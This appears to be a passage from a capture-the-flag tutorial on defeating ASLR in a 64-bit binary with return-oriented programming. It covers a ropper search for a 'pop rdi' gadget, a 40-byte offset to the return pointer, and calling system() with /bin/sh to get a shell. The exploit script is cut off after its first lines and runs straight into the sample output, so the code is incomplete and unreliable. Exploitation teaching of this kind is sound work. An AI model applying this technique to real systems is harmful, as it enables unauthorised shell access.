This binary is similar to the last one, so we'll reuse most of the same techniques. This time, we'll need a way to pass the /bin/sh address into rdi, which will require a gadget.
We'll do this the same way that we did it in the ROP chapter. We use ROPgadget or ropper to search for a gadget that will pop the top of the stack into rdi:
ropper -f chall --search "pop rdi"[INFO] Load gadgets from cache[LOAD] loading... 100%[LOAD] removing double gadgets... 100%[INFO] Searching for gadgets: pop rdi[INFO] File: chall0x00000000004011db: pop rdi; ret;This is perfect. We'll use this gadget to pop the address of /bin/sh into rdi before calling system().
This binary is nearly identical to the last one. We are provided the address of system(), so we can just use that directly. Checking read_in, we'll notice that it takes 40 bytes to reach the return pointer.
This is everything we need to write the exploit:
1from pwn import *
2
3elf = context.binary = ELF('./chall')
4libc =Running this gets our flag:
python3 exploit.py[+] Starting local process './chall': pid 41213[+] LIBC base: 0x7f8c3a2e1000[*] Switching to interactive modecat flag.txtIFC{PL4C3H0LD3R_FL4G_H3R3!}We beat ASLR in 64-bit, which was no different than in 32-bit. The only difference is that we had to use 64-bit gadgets and addresses.